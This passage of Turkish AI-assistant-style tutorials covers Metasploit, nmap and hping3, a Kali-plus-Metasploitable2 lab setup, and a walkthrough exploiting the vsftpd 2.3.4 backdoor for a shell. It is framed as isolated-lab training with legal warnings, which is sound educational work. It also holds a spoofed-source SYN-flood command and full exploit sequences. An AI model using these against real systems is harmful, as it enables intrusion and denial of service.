set PAYLOAD windows/meterpreter/reverse_tcp  # payload seç[web:118]
run                          # modülü çalıştır[web:118]
exploit                      # run ile aynı işlev[web:118]
```

Oturum ve job yönetimi:

```
sessions -l                  # aktif oturumları listele[web:121]
sessions -i 1                # ID'si 1 olan oturuma bağlan[web:121]
sessions -k 1                # ID'si 1 olan oturumu sonlandır[web:121]

jobs -l                      # arka plan modüllerini (jobs) listele[web:121]
jobs -k 0                    # ID'si 0 olan job'ı öldür[web:121]
jobs -K                      # tüm job'ları öldür[web:121]
```

Meterpreter içinde:

```
sysinfo                      # hedef sistem bilgisi[web:121]
getuid                       # hangi kullanıcı altındasın[web:121]
ps                           # hedefte çalışan süreçler[web:121]
shell                        # normal shell aç[web:121]
```

Nmap – Pentest odaklı örnekler

Hızlı canlı host bulma:

```
nmap -sn 192.168.1.0/24      # ping scan – sadece hangi host'lar up?[web:110][web:123]
```

Servis/versiyon tespiti + script:

```
nmap -sV -sC -p 1-1000 192.168.1.10   # ilk 1000 port, versiyon, default NSE[web:120]
```

Web servisi için:

```
nmap -p 80,443 --script http-enum,ssl-cert hedeffqdn[web:120][web:129]
```

SMB/Windows hedefleri:

```
nmap -p 139,445 --script smb-os-discovery,smb-enum-shares 192.168.1.10[web:120][web:129]
```

DDoS / DoS test araçları (hping3 vb.) – Uyarı

Aşağıdaki komutlar **yük testleri ve güvenlik laboratuvarlarında kontrollü deneyler** içindir; gerçek sistemlere veya üçüncü taraflara karşı kullanılması çoğu ülkede suçtur. Üretim ağlarında yöneticin onayı olmadan *denememen* gerekir.[120] [119] [121]

Temel hping3 kullanım yapısı:

```
hping3 [seçenekler] hedef_ip
```

SYN flood benzeri trafik üretim örneği (lab ortamı):

```
hping3 -S --flood -V --rand-source -p 80 192.168.1.10
```

- `-S` : TCP SYN bayrağı set'li paketler üretir.[121] [120]
- `--flood`: Mümkün olan en hızlı şekilde paket gönderir.[122] [123]
- `--rand-source`: Kaynak IP'yi rastgeleleştirir.[122] [121]
- `-p 80`: Hedef port 80.[120] [121]

Farklı modlar:

```
hping3 -1 192.168.1.10        # ICMP (ping benzeri) mod[web:135][web:138]
hping3 -2 192.168.1.10 -p 53  # UDP mod, port 53[web:135]
hping3 --scan 1-100 -S 192.168.1.10  # port tarama modu[web:135]
```

Seçeneklerden bazıları:

- `-a <ip>`: Kaynak IP spoof et (yasal risk yüksek).[121]
- `-d <size>`: Veri boyutunu ayarla.[119] [120]
- `-A`, `-F`, `-P`: ACK/FIN/PSH flag'li paketler.[123] [121]

Yine: Gerçek DDoS saldırıları ve botnet kullanım senaryoları **kesinlikle yasadışı**; burada amaç yalnızca aracı tanımak ve savunma amacıyla lab'da test etmektir.[119] [120] [121]

Bu özetten sonra istersen;

- Sadece **Nmap için senaryolu pratik** (lokal ağ taraması, web servisi analizi vb.), veya
- Sadece **Metasploit modül seçimi + exploit akışı** için adım adım mini laboratuvar senaryosu hazırlayabilirim.

⁂

Metasploit ile güvenli test laboratuvarı nasıl kurulur

Metasploit için güvenli bir **test laboratuvarı**, internete ve üretim ağlarına kapalı, izole bir sanal ağ üzerinde hedef ve saldırgan makinelerden oluşur. Böylece zafiyetleri pratik ederken hukuki/etik risk almadan çalışırsın.[137] [138] [139] [140]

Genel mimari

- 1 adet "saldırgan" makine: Kali Linux (üstünde Metasploit, Nmap vb.).[141] [137]
- 1–2 adet "hedef" makine:
  - Örn: Metasploitable2/3, eski Windows (XP/7 lab imajları), DVWA içeren bir Linux VM.[138] [137]
- Ortak, NAT veya "Host-only" bir sanal ağ:
  - Host makine dışındaki gerçek ağa **yönlendirme yapmayan**, izole bir sanal switch.[142] [143]

Bu yapı için VirtualBox, VMware Workstation/Player veya benzeri bir sanallaştırma yazılımı kullanabilirsin.[144] [142]

1. Sanallaştırma ve ağ izolasyonu

Örnek: VirtualBox üzerinde kurulum (benzer mantık VMware'de de geçerli).[144]

- VirtualBox'ta ağ tipleri:
  - **Host-only Adapter**: VM'ler sadece birbirini ve host'u görür, internete çıkamaz; lab için en güvenli seçeneklerden biridir.[143] [142]
  - **Internal Network**: Sadece aynı internal network adını kullanan VM'ler birbirini görür; host bile göremeyebilir, en izole senaryolardan biridir.[142]

Adımlar:

- Bir "Host-only" ağ oluştur:
  - VirtualBox → File → Host Network Manager → yeni Host-only ağ ekle (DHCP açık olabilir).[143] [142]
- Tüm lab VM'lerinin ağ adaptörünü:
  - `Attached to: Host-only` (veya `Internal Network`) yap.[142]
- İstersen güncelleme/araç indirme için ikinci bir adaptör:
  - `Adapter 1`: NAT (internet erişimi, sadece güncelleme sırasında aktif tut).
  - `Adapter 2`: Host-only (lab trafiği).[143] [142]

Metasploit ile yapılacak testleri **sadece Host-only/Internal network** üzerindeki hedeflere yönlendir; NAT üzerinden gerçek ağı tarama.[140] [138]

2. Saldırgan makine: Kali + Metasploit

- Kali Linux ISO'yu indir, bir VM olarak kur.[141]
- Kali üzerinde Metasploit çoğunlukla hazır gelir, gerekirse:

  ```
  sudo apt update
  sudo apt install metasploit-framework
  ```

  şeklinde kurulabilir.[145] [137]

Network yapılandırması:

- Kali VM için:
  - Adapter: Host-only (veya Internal) ağ; IP genelde `192.168.56.x` tarzında olur.[142]
- IP doğrulama:

  ```
  ip a        # Kali IP adresini kontrol et
  ```

3. Hedef makineler (Metasploitable vb.)

Önerilen zafiyetli hedefler:

- **Metasploitable2**: Metasploit eğitimi için hazırlanmış, kasıtlı olarak zafiyetli bir Ubuntu tabanlı VM.[137]
- **DVWA (Damn Vulnerable Web App)** bulunan bir LAMP konteyner/VM.[138]

Adımlar (Metasploitable2 örneği):

- Resmi imajı indir, yeni VM olarak ekle (Ubuntu 32-bit/64-bit profiliyle).[137]
- Ağ adaptörünü saldırgan makinedekiyle **aynı Host-only/Internal network** üzerine al.[142]
- VM'yi başlat, IP adresini kontrol et:

  ```
  ifconfig    # veya: ip a
  ```

- Kali'den hedefe ping:

  ```
  ping <hedef_IP>
  ```

  Paketler geçiyorsa lab ağı doğru kurulmuştur.[142]

4. Güvenli kullanım prensipleri

- Tüm saldırı trafiği **yalnızca lab segmentinde** olmalı:
  - Nmap taramaları, Metasploit exploit'leri, brute-force testleri vb. gerçek LAN/WAN'a gitmemeli.[139] [138]
- Gerçek kurumsal ya da kişisel cihazlara (router, IoT, sunucu) yönelik tarama/exploit sadece yazılı yetkiyle yapılabilir.[139] [140]
- Dış internete bakan bir adaptör gerekiyorsa:

- Anlık güncelleme sonrası adaptörü devre dışı bırakıp sadece Host-only/Internal network üzerinde test yap.[143] [142]

Log/gözlem için:

- Kali'de `wireshark` veya `tcpdump` ile Host-only ağdaki trafiği izleyip saldırı/defans etkilerini gözlemleyebilirsin.[146] [142]

5. Örnek başlangıç senaryosu (yüksek seviye)

1. Host-only ağda Kali (Metasploit yüklü) + Metasploitable2 çalışıyor.[137] [142]
2. Kali'den:

```
nmap -sV -p- <hedef_IP>        # hizmet ve port keşfi
```

3. Nmap çıktısına göre Metasploit'te:

```
msfconsole
search vsftpd                  # örnek: açık FTP servisini ara
use exploit/unix/ftp/vsftpd_2_3_4_backdoor
set RHOSTS <hedef_IP>
set RPORT 21
set LHOST <kali_IP>
exploit
```

   Bu senaryo gerçek dünyaya değil, sadece lab'a yöneliktir; amaç exploit zincirini anlamaktır.[147] [148] [137]

Bu iskeleti kurduktan sonra istersen bir sonraki adımda, senin ortamına uygun olacak şekilde "adım adım: VirtualBox + Kali + Metasploitable2" kurulum rehberi (ekran görüntüsüz, komut ağırlıklı) hazırlayabilirim.

⁂

"adım adım: VirtualBox + Kali + Metasploitable2" kurulum rehberi

VirtualBox üzerinde Kali + Metasploitable2 içeren izole bir lab, hem pratik hem de güvenli bir öğrenme ortamı sağlar. Aşağıdaki adımlar, ekran görüntüsüz ama komut ve ayar odaklı şekilde net bir rehber şeklinde hazırlanmıştır.[149] [150] [151] [152]

1. Ön hazırlık: ISO/OVA ve VirtualBox

1. VirtualBox kur:
   - Windows/Linux için Oracle VirtualBox indirme sayfasından uygun paket ve Extension Pack'i indirip kur.[151]
2. Gerekli imajları indir:
   - Kali Linux ISO: Resmi kali.org "Downloads" sayfasından "Installer" veya "Virtual Machines" bölümünden.[152]

- Metasploitable2 OVA: Rapid7'in GitHub/indirme sayfasındaki `.ova` veya `.zip` içindeki sanal makine imajı.[150]

Bu dosyaları aynı klasörde tutman sonraki adımları kolaylaştırır.[151]

2. VirtualBox'ta Host-only ağ oluşturma

Lab'in internete ve gerçek LAN'a taşmaması için Host-only ağ kullanılacak.[153] [149]

1. VirtualBox ana penceresi → `File` → `Host Network Manager`:
   - `Create` butonuna tıkla (örneğin `vboxnet0` oluşur).[149]
   - IPv4 Address: `192.168.56.1`
   - Mask: `255.255.255.0` gibi bırakabilirsin (varsayılan genelde böyle gelir).[149]
   - İstersen DHCP'yi **açık** bırakabilirsin (VM'ler IP'yi otomatik alır).
2. Bu `vboxnet0` ağını, hem Kali hem Metasploitable2 için kullanacağız.[149]

3. Kali Linux sanal makinesini oluşturma

1. Yeni VM oluştur:
   - `New` → Name: `Kali-Lab`
   - Type: `Linux`
   - Version: `Debian (64-bit)` (Kali Debian tabanlıdır).[152]
   - RAM: En az 2 GB (mümkünse 4 GB).
   - Disk: 30–40 GB dinamik VDI yeterli.
2. ISO bağlama:
   - VM seç → `Settings` → `Storage` → `Controller: IDE` → boş CD ikonuna tıkla.
   - `Choose a disk file...` → indirdiğin Kali ISO'yu seç.[152]
3. Ağ ayarları:
   - `Settings` → `Network`:
     - Adapter 1:
       - `Enable Network Adapter` işaretli
       - `Attached to: Host-only Adapter`
       - Name: `vboxnet0` (az önce oluşturduğun ağ).[149]
   - (İsteğe bağlı) güncelleme için sadece kurulum sırasında:
     - Adapter 2: `NAT` (kurulum sonrası devre dışı bırakabilirsin).[153] [149]
4. Kali kurulum süreci:
   - VM'yi başlat, ISO'dan boot et.
   - "Graphical install" seçip dil/bölge/klavye ayarlarını yap.
   - Disk bölümleme için "Guided – use entire disk" tercih edebilirsin (lab ortamı).[152]

- Kullanıcı/şifre oluştur (ör: kullanıcı: `kali`, parola: güçlü bir parola).
- Kurulum bitince ISO'yu `Storage` kısmından çıkar, VM'yi yeniden başlat.

5. Kali içinde ağ test:

```
ip a
```

   - Host-only ağ'dan `192.168.56.x` gibi bir IP görmelisin.[149]

4. Metasploitable2'yi içe aktarma ve ağ ayarı

Metasploitable2 çoğu zaman `.ova` dosyası olarak gelir.

1. OVA'yı içe aktar:
   - VirtualBox ana penceresi → `File` → `Import Appliance` → Metasploitable2 `.ova` dosyasını seç.[150]
   - Varsayılan ayarları onayla (RAM azsa 512 MB–1 GB civarıyken artırabilirsin).
2. Ağ ayarı:
   - Metasploitable2 VM → `Settings` → `Network`:
     - Adapter 1:
       - `Enable Network Adapter`
       - `Attached to: Host-only Adapter`
       - Name: `vboxnet0` (Kali ile aynı).[149]
3. Metasploitable2'yi başlat:
   - Varsayılan kullanıcı/parola genelde `msfadmin / msfadmin` olarak gelir (ekrandaki bilgilere bak).[150]
   - Konsolda IP'yi kontrol et:

     ```
     ifconfig      # veya: ip a
     ```

   - IP büyük olasılıkla `192.168.56.y` şeklinde olacaktır (DHCP açıksa).[149]
4. Kali'den hedefe ping:

   ```
   ping 192.168.56.y
   ```

   Paketler geliyorsa lab ağı doğru kurulmuştur.[152] [149]

5. Metasploit'in Kali üzerinde hazır hale getirilmesi

1. Paketi güncelle:

```
sudo apt update
sudo apt install metasploit-framework
```

Kali'nin çoğu sürümünde Metasploit zaten yüklüdür, bu komut sadece emin olmak için.[154] [150]

2. Metasploit'i başlat:

```
msfconsole
```

İlk açılışta modül cache'i oluşturabilir, biraz sürebilir.[155]

3. Nmap ile lab test taraması:

```
nmap -sV -p- 192.168.56.y
```

- Metasploitable2 üzerindeki açık port ve servisleri göreceksin (FTP, HTTP, DB vb.).[156] [157] [158]

6. Örnek güvenli exploit akışı (lab içinde)

Bu, sadece **lab ağında** ve özellikle Metasploitable2 gibi kasıtlı zafiyetli makinelerde yapılmalıdır.[159] [160] [150]

1. msfconsole içinde:

```
msfconsole

search vsftpd
use exploit/unix/ftp/vsftpd_2_3_4_backdoor
show options
set RHOSTS 192.168.56.y
set RPORT 21
set LHOST 192.168.56.x   # Kali'nin IP'si
exploit
```

- Başarılıysa, Meterpreter veya shell oturumu alırsın (Modüle göre değişir).[161] [155] [150]

2. Oturum yönetimi örneği:

```
sessions
sessions -i 1
```

- Buradan sonra lab içindeki keşif, post-exploitation vb. tamamen eğitim amaçlıdır.[162] [155]

7. Güvenlik ve iyi uygulamalar

- Metasploitable2 gibi kasıtlı zafiyetli makineleri **asla doğrudan internete** bağlama.[160] [159]
- Nmap/Metasploit tarama ve exploit'lerini sadece Host-only/Internal ağ altındaki hedeflere uygula.[163] [159]
- Gerekmiyorsa Kali ve Metasploitable2 dışında başka VM'leri aynı Host-only ağa bağlama; lab'ı küçük ve kontrollü tut.[153] [149]

Eğer istersen bir sonraki adımda, bu kurduğun lab üzerinde “adım adım: Nmap → zafiyet tespiti → Metasploit ile exploit → elde edilen oturumda temel komutlar” tarzında senaryolu bir pratik akışı hazırlayabilirim.

⁂

senaryolu bir pratik akış

Aşağıdaki akış, **Kali (saldırgan)** + **Metasploitable2 (hedef)** lab’ında hem Nmap hem Metasploit pratiği yapman için tasarlanmış, uçtan uca bir senaryodur. Tüm IP’ler örnektir; kendi lab’ındaki adresleri kullanmalısın.[164] [165]

1. Senaryo başlangıcı: Hedef keşfi

Amaç: Host’un canlı olup olmadığını ve hangi servislerin çalıştığını öğrenmek.[166] [167]

Varsayım:

- Kali IP: `192.168.56.10`
- Metasploitable2 IP: `192.168.56.20` (hedef)

Adımlar:

```
# 1) Hedefe ping
ping 192.168.56.20 -c 4
```

- 4 paket cevap dönüyorsa host canlıdır.[168]

```
# 2) Temel servis keşfi (ilk 1000 port)
nmap -sV 192.168.56.20
```

- `-sV`: Her portta çalışan servisin versiyonunu tespit etmeye çalışır.[169] [170]

```
# 3) Daha agresif bilgi toplama
nmap -A -p- 192.168.56.20
```

- `-A`: OS tespiti + versiyon + script + traceroute.[171] [169]
- `-p-`: 1–65535 arasındaki tüm TCP portlarını tarar.[169]

Hedefte genelde FTP (21), HTTP (80), vs. gibi birçok servis açık göreceksin.[172] [166]

2. Zafiyet seçim senaryosu (FTP / vsftpd)

Amaç: Açık bir servise uygun exploit seçmek.[173]

Nmap çıktısında örneğin şöyle bir satır görüyor olabilirsin:

```
21/tcp open  ftp     vsftpd 2.3.4
```

Bu, bilinen bir backdoor zafiyeti olan vsftpd 2.3.4 sürümü olabilir.[167] [166]

Adımlar:

```
msfconsole
```

Metasploit içinde:

```
search vsftpd
```

- `exploit/unix/ftp/vsftpd_2_3_4_backdoor` modülünü göreceksin.[174] [173]

```
use exploit/unix/ftp/vsftpd_2_3_4_backdoor
show options
```

- Gerekli parametreleri (RHOSTS, RPORT vb.) kontrol et.[173]

3. Exploit hazırlığı ve çalıştırma

Amaç: Hedefe uygun parametreleri vererek exploit'i güvenli şekilde tetiklemek.[174] [173]

Metasploit içinde:

```
set RHOSTS 192.168.56.20
set RPORT 21
set LHOST 192.168.56.10     # Kali'nin IP'si
```

Gerekirse payload kontrolü:

```
show payloads
# (modülün varsayılan payload'u genelde yeterli)
```

Exploit çalıştırma:

```
run
# veya
exploit
```

- Başarılı olursa Metasploit sana genelde bir shell veya Meterpreter oturumu açmış olur.[174]

Oturumları listele:

```
sessions -l
sessions -i 1       # 1 numaralı oturuma bağlan
```

4. Elde edilen oturumda temel keşif

Amaç: Hedef sistem içinde “post-exploitation” öncesi temel bilgi toplamak.[174]

Oturum türüne göre:

- Eğer shell ise:

```
whoami
id
uname -a
hostname
ip a
netstat -tuln
```

- Eğer Meterpreter ise:

```
sysinfo        # OS, mimari bilgisi
getuid         # hangi kullanıcı altındasın
ps             # çalışan süreçler
shell          # normal shell aç
```

Bu adım, elde ettiğin yetki seviyesini ve sistem tipini anlamak için kritiktir.[174]

5. İkinci senaryo: HTTP servisi üzerinden keşif

Amaç: Aynı hedefte bu sefer web uygulaması üzerinden bilgi toplamak.[166] [167]

Nmap çıktısında örneğin:

```
80/tcp open  http    Apache httpd 2.2.x
```

Adımlar:

```
nmap -sV -p 80 --script http-enum,http-title 192.168.56.20
```

- `http-enum`: Klasik dizin/uygulama keşfi (phpMyAdmin, /test, /dvwa vb.).[175] [167]
- `http-title`: Ana sayfa başlığını alır.[167]

Tarayıcıdan (host veya Kali içinden):

- `http://192.168.56.20/` adresine gir, Metasploitable2 ana sayfası ve zafiyetli uygulamalar (DVWA, Mutillidae vb.) görebilirsin.

Buradan sonra ayrı bir web uygulaması senaryosu (ör. DVWA brute-force, SQLi vb.) kurgulanabilir ama bu akışın odak noktası Metasploit olduğu için burada kesilebilir.

6. Lab hijyeni ve tekrar

Her çalışma sonunda:

- Metasploit oturumlarını kapat:

```
sessions -K
exit
```

- Nmap sonuçlarını saklamak istersen:

```
nmap -A -p- 192.168.56.20 -oN metasploitable_fullscan.txt
```

- Gerekmedikçe VM'leri internete açık NAT adaptörleriyle çalıştırma; sadece Host-only/Internal ağda tut.[165]

Bu senaryoyu birkaç kez tekrar edip, sonrasında farklı servisler için:

- `search samba`, `search tomcat`, `search mysql` gibi aramalarla yeni exploit zincirleri deneyebilirsin.[176] [173]
  İstersen, bir sonraki adımda aynı lab üzerinde **web uygulaması odaklı (DVWA) senaryolu** bir akış da hazırlanabilir.

⁂

1. interests.computing.kali_linux_basics
2. interests.cybersecurity.kali_linux_practice_examples
3. https://www.webasha.com/blog/what-is-the-file-system-hierarchy-in-kali-linux
4. https://ipcisco.com/lesson/linux-file-system/
5. https://www.geeksforgeeks.org/linux-unix/file-system-navigation-commands-in-linux/
6. https://www.r-bloggers.com/2024/09/navigating-linux-with-pwd-cd-and-ls-a-beginners-guide/
7. https://www.geeksforgeeks.org/linux-unix/looping-statements-shell-script/
8. https://www.digitalocean.com/community/tutorials/linux-commands
9. https://www.w3schools.com/bash/bash_loops.php
10. interests.computing.linux_and_cybersecurity
11. https://www.geeksforgeeks.org/linux-unix/kali-linux-file-management/
12. https://www.youtube.com/watch?v=VsC3f7Sqaeg
13. https://www.youtube.com/watch?v=GLc4hYh-xlU
14. https://www.ethicalhackingblog.com/2023/07/kali-linux-file-system-overview.html
15. https://www.youtube.com/watch?v=4rxmdoDMIdo
16. https://www.youtube.com/watch?v=X2bNIL1Xsg4
17. https://stackoverflow.com/questions/169511/how-do-i-iterate-over-a-range-of-numbers-defined-by-variables-in-bash
18. https://www.examcollection.com/blog/kali-linux-directory-essentials-navigating-and-managing-files-like-a-pro/
19. http://www.cs.umd.edu/~nelson/classes/resources/BasicLinux.shtml

20. https://labex.io/tutorials/kali-navigating-and-managing-files-in-kali-552194
21. https://kodekloud.com/blog/read-file-in-bash/
22. https://www.linuxfoundation.org/blog/blog/classic-sysadmin-the-linux-filesystem-explained
23. https://www.hostinger.com/in/tutorials/25-common-linux-bash-script-examples-to-get-you-started
24. https://www.mobilhanem.com/temel-linux-komutlari/
25. https://wiki.uhem.itu.edu.tr/w/index.php/Temel_Linux_Komutları
26. https://www.linuxdata.net/orneklerle-linuxta-pwd-komutu-nasil-kullanilir/
27. https://www.ihs.com.tr/blog/en-populer-39-linux-komutu/
28. https://fatihsoysal.com/blog/linux-sunucuda-dosya-sistemini-kesfetmek-icin-cd-pwd-ve-ls-komutlarini-kullanma-rehberi/
29. https://tr.linkedin.com/pulse/linux-cd-ve-pwd-komutu-salih-altuntaş
30. https://acikders.ankara.edu.tr/mod/resource/view.php?id=2341
31. https://academy.patika.dev/blogs/detail/temel-linux-komutlari
32. https://www.mehmetsutcu.com/temel-linux-komutlari/
33. interests.computing.linux_and_cybersecurity
34. https://www.youtube.com/watch?v=O-scjg6N3oI
35. https://www.linuxdata.net/orneklerle-linuxta-chmod-komutu-nasil-kullanilir/
36. https://wiki.ubuntu-tr.net/index.php?title=Chmod_komutu_kullanımı
37. https://linuxpedi.com/linuxta-chmod-ile-dosya-ve-klasor-izinleri/
38. https://www.veribilimiokulu.com/linux-yetkilendirmeler-linux-permissions/
39. https://wiki.uhem.itu.edu.tr/w/images/1/1a/Linux_Dosya_İşlemleri_.pdf
40. https://www.aysima.com/knowledgebase/39/CHMOD-Nedir-Nasıl-Kullanılır.html
41. https://blog.ixakblt.dev/Linux-Chmod-Yetkilendirme
42. https://www.youtube.com/watch?v=NdMQ4yvl9uQ
43. https://faq.cc.metu.edu.tr/tr/sss/unix-isletim-sisteminde-chmod-komutu-ile-dosya-ve-dizin-haklarini-nasil-degistirebilirim
44. https://www.youtube.com/watch?v=CFEV1a6obOY
45. https://www.geeksforgeeks.org/linux-unix/how-to-use-positional-parameters-in-shell-scripting/
46. https://blog.nashtechglobal.com/special-variables-in-bash-scripting/
47. https://earthly.dev/blog/bash-variables/
48. https://www.geeksforgeeks.org/linux-unix/bash-script-working-of-bash-variables/
49. https://www.gnu.org/s/bash/manual/html_node/Special-Parameters.html
50. https://www.geeksforgeeks.org/linux-unix/shell-script-to-demonstrate-special-parameters-with-example/
51. https://www.spsanderson.com/steveondata/posts/2025-04-18/
52. https://www.tutorialspoint.com/unix/unix-special-variables.htm
53. https://refine.dev/blog/bash-script-arguments/
54. https://www.redhat.com/en/blog/arguments-options-bash-scripts
55. https://stackoverflow.com/questions/5163144/what-are-the-special-dollar-sign-shell-variables

56. https://www.freecodecamp.org/news/bash-scripting-tutorial-linux-shell-script-and-command-line-for-beginners/
57. https://linuxcommand.org/lc3_wss0120.php
58. https://adminschoice.com/bash-positional-parameters/
59. https://hbctraining.github.io/Training-modules/Accelerate_with_automation/lessons/positional_params.html
60. https://en.wikibooks.org/wiki/Bash_Shell_Scripting/Positional_Parameters
61. https://stackoverflow.com/questions/38866883/how-to-use-positional-parameters-with-bash-c-command
62. https://www.geeksforgeeks.org/linux-unix/bash-script-define-bash-variables-and-its-types/
63. https://stackoverflow.com/questions/59378368/bash-using-both-positional-and-optional-arguments-in-a-script
64. https://docs.vultr.com/how-to-use-variables-in-bash
65. https://www.freecodecamp.org/news/bash-scripting-tutorial-linux-shell-script-and-command-line-for-beginners/
66. https://docs.vultr.com/how-to-use-variables-in-bash
67. https://www.geeksforgeeks.org/linux-unix/bash-script-define-bash-variables-and-its-types/
68. https://www.geeksforgeeks.org/linux-unix/bash-script-working-of-bash-variables/
69. https://www.digitalocean.com/community/tutorials/linux-commands
70. https://runcloud.io/blog/running-processes-in-linux
71. https://narweb.net/blog/linux-surec-process-yonetimi-ps-kill-ve-nice/
72. https://labex.io/questions/what-are-common-linux-process-management-commands-31
73. https://www.digitalocean.com/community/tutorials/how-to-use-ps-kill-and-nice-to-manage-processes-in-linux
74. https://www.geeksforgeeks.org/linux-unix/linux-process-management-command-cheat-sheet/
75. https://pro.tecmint.com/linux-process-management/
76. https://www.linode.com/docs/guides/use-the-ps-aux-command-in-linux/
77. https://www.computernetworkingnotes.com/linux-tutorials/ps-aux-command-and-ps-command-explained.html
78. https://www.vps-mart.com/blog/how-to-use-the-ps-aux-command-in-linux
79. https://wiki.ubuntu-tr.net/index.php?title=Top
80. https://learn.microsoft.com/tr-tr/troubleshoot/developer/webapps/aspnetcore/practice-troubleshoot-linux/3-2-task-managers-top-htop
81. https://www.geeksforgeeks.org/linux-unix/htop-command-in-linux-with-examples/
82. https://www.liquidweb.com/blog/prioritize-processes-with-the-linux-nice-and-renice-commands/
83. https://linux-yonetimi.veriteknik.net.tr/gelismis-terminal-komutlari/sistem-yuekuenue-izleme
84. https://www.youtube.com/watch?v=vRcVBgeNcNQ
85. https://www.vpsserver.com/linux-ps-aux-command/
86. https://www.youtube.com/watch?v=RU8S2Fy5agA
87. https://edu.anarcho-copy.org/Türkçe - Turkish/GNU Linux - Unix-Like/Linux Belgeleri - belgeler.org/belgeler.org/man/man1/man1-top.html

88. https://hostman.com/tutorials/using-the-ps-aux-command-in-linux/
89. https://www.youtube.com/watch?v=gEZsFUiO7dI
90. https://www.digitalocean.com/community/tutorials/linux-commands
91. https://www.redhat.com/en/blog/linux-system-info-commands
92. https://www.linuxteck.com/linux-system-information-command-cheat-sheet/
93. https://www.almabetter.com/bytes/cheat-sheet/linux-commands
94. https://community.linuxmint.com/tutorial/view/454
95. https://www.hostinger.com/ph/tutorials/60-linux-commands-every-user-should-know
96. https://www.geeksforgeeks.org/linux-unix/how-to-check-the-os-version-in-linux/
97. https://cyberpanel.net/blog/linux-system-version-commands
98. https://runcloud.io/blog/check-os-version-in-linux
99. https://www.hivelocity.net/kb/check-linux-version/
100. https://linux-commands.labex.io
101. https://github.com/cambridgeitcollege/Linux-Commands
102. https://www.geeksforgeeks.org/linux-unix/linux-commands-cheat-sheet/
103. https://www.wecreateproblems.com/interview-questions/linux-commands-interview-questions
104. https://personales.unican.es/corcuerp/linux/resources/LinuxCommandLineCheatSheet_1.pdf
105. https://stackoverflow.com/questions/26988262/best-way-to-find-the-os-name-and-version-on-a-unix-linux-platform
106. https://github.com/NoorQureshi/kali-linux-cheatsheet
107. https://serveravatar.com/how-to-check-os-version-in-linux-via-command-line/
108. https://www.linuxtrainingacademy.com/linux-commands-cheat-sheet/
109. https://phoenixnap.com/kb/linux-commands-cheat-sheet
110. https://www.digitalocean.com/community/tutorials/linux-commands
111. https://community.linuxmint.com/tutorial/view/454
112. https://www.linuxteck.com/linux-system-information-command-cheat-sheet/
113. https://www.redhat.com/en/blog/linux-system-info-commands
114. https://www.geeksforgeeks.org/linux-unix/linux-commands-cheat-sheet/
115. https://linux-commands.labex.io
116. https://github.com/cambridgeitcollege/Linux-Commands
117. https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/
118. https://docs.rapid7.com/metasploit/managing-metasploit/
119. https://asec.ahnlab.com/en/85165/
120. https://nccs.gov.in/public/events/DDoS_Presentation_17092024.pdf
121. https://blog.csdn.net/new9232/article/details/137092678
122. https://gist.github.com/davidlares/0c2109b448302b8adecb837923cb1cc7
123. https://cyber-security-forensic.com/dos-ddoshping3/
124. https://www.recordedfuture.com/threat-intelligence-101/tools-and-techniques/nmap-commands
125. https://www.stationx.net/nmap-cheat-sheet/

126. https://www.geeksforgeeks.org/linux-unix/nmap-command-in-linux-with-examples/
127. https://www.stationx.net/metasploit-commands/
128. https://www.tecmint.com/nmap-command-examples/
129. https://www.offsec.com/metasploit-unleashed/msfconsole-commands/
130. https://www.reddit.com/r/netsec/comments/2petae/nmap_cheatsheet_examples/
131. https://help.rapid7.com/metasploit/Content/getting-started/gsg-msf.html
132. https://www.kali.org/tools/nmap/
133. https://www.scaler.com/topics/cyber-security/msfconsole-commands/
134. https://zerotomastery.io/cheatsheets/nmap-cheat-sheet/
135. https://nmap.org/book/man-briefoptions.html
136. https://nmap.org/book/man-examples.html
137. https://www.hackthebox.com/blog/metasploit-tutorial
138. https://www.hackingarticles.in/dos-attack-penetration-testing-part-2/
139. https://www.jetir.org/papers/JETIR1906R47.pdf
140. https://lab.wallarm.com/16-best-ddos-attack-tools-in-2025/
141. https://github.com/NoorQureshi/kali-linux-cheatsheet
142. https://www.linuxteck.com/linux-system-information-command-cheat-sheet/
143. https://linux-commands.labex.io
144. https://community.linuxmint.com/tutorial/view/454
145. https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
146. https://www.digitalocean.com/community/tutorials/linux-commands
147. https://docs.ctrl-z.rocks/cheat-sheets/metasploit/using-msfconsole
148. https://www.stationx.net/metasploit-commands/
149. https://www.linuxteck.com/linux-system-information-command-cheat-sheet/
150. https://www.hackthebox.com/blog/metasploit-tutorial
151. https://community.linuxmint.com/tutorial/view/454
152. https://github.com/NoorQureshi/kali-linux-cheatsheet
153. https://linux-commands.labex.io
154. https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
155. https://docs.ctrl-z.rocks/cheat-sheets/metasploit/using-msfconsole
156. https://www.recordedfuture.com/threat-intelligence-101/tools-and-techniques/nmap-commands
157. https://netlas.io/blog/nmap_commands/
158. https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/
159. https://www.hackingarticles.in/dos-attack-penetration-testing-part-2/
160. https://www.jetir.org/papers/JETIR1906R47.pdf
161. https://www.offsec.com/metasploit-unleashed/msfconsole-commands/
162. https://www.stationx.net/metasploit-commands/
163. https://lab.wallarm.com/16-best-ddos-attack-tools-in-2025/

164. https://github.com/NoorQureshi/kali-linux-cheatsheet
165. https://www.linuxteck.com/linux-system-information-command-cheat-sheet/
166. https://www.recordedfuture.com/threat-intelligence-101/tools-and-techniques/nmap-commands
167. https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/
168. https://github.com/cambridgeitcollege/Linux-Commands
169. https://nmap.org/book/man-briefoptions.html
170. https://www.geeksforgeeks.org/linux-unix/nmap-command-in-linux-with-examples/
171. https://www.kali.org/tools/nmap/
172. https://www.tecmint.com/nmap-command-examples/
173. https://www.stationx.net/metasploit-commands/
174. https://www.offsec.com/metasploit-unleashed/msfconsole-commands/
175. https://zerotomastery.io/cheatsheets/nmap-cheat-sheet/
176. https://www.scaler.com/topics/cyber-security/msfconsole-commands/